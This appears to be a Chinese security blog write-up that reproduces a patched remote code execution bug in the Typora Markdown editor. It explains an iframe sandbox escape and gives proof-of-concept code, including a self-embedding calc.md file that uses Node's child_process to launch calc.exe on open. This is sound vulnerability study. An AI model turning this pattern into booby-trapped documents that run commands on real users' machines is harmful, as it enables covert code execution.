Typora RCE

前言

Typora是一款基于Electron框架开发的跨平台的Markdown编辑器,界面简约,个人比较喜欢。最近看到了一篇关于该编辑器的RCE漏洞,学习复现一下。漏洞在0.9.9.57(beta)以上版本已经修复。

一些基础

关于 Electron

Electron是一个用HTML,CSS和JavaScript构建的跨平台桌面应用程序的开源库。

Typora 历史版本下载(windows版本)

iframe标签

H5中iframe标签新加入了一个属性“sandbox”,通过该属性提升iframe的安全性。

在文档中HTML Standard有一个warning:

Setting both the allow-scripts and allow-same-origin keywords together when the embedded page has the same origin as the page containing the iframe allows the embedded page to simply remove the sandbox attribute and then reload itself, effectively breaking out of the sandbox altogether.

意思是当sandbox属性里同时设置allow-scripts和allow-same-origin的话,允许嵌入的页面删除沙箱属性,然后重新加载自己,从而突破沙箱。

漏洞的发现与利用

ok.接下来直接去看漏洞如何触发的就好了。

我们利用iframe触发漏洞,在打开的文件的同目录新建一个poc.html内容为:

1
2
3
4

<script>
window.parent.top.alert(1)
</script>

打开的文件内容为:

触发漏洞弹窗

shift+f12查看源码会发现

前面已经说过了,当allow-scripts和allow-same-origin两个属性同时设置的时候,可绕过沙盒。

由于触发漏洞需要两个文件在同一目录,所以修改我们的payload使漏洞更容易利用,利用poc弹出计算器。

新建一个文件,名字为calc.md,内容如下:

1
2
3
4
5
6
7
8
9
10
<iframe src="./calc.md"></iframe>

<script>
//rce
window.parent.top.require('child_process').execFile('C:/Windows/System32/calc.exe',function(error, stdout, stderr){
if(error){
console.log(error);
}
});
</script>

Typora会对嵌入的md文件中的html标签进行解析。

打开文件即可触发漏洞

文章参考

如何在Typora编辑器上实现远程命令执行

Kein System ist sicher.

文章目录
  1. 1. 前言
  2. 2. 一些基础
  3. 3. 漏洞的发现与利用
  4. 4. 文章参考
    1. 4.1. Kein System ist sicher.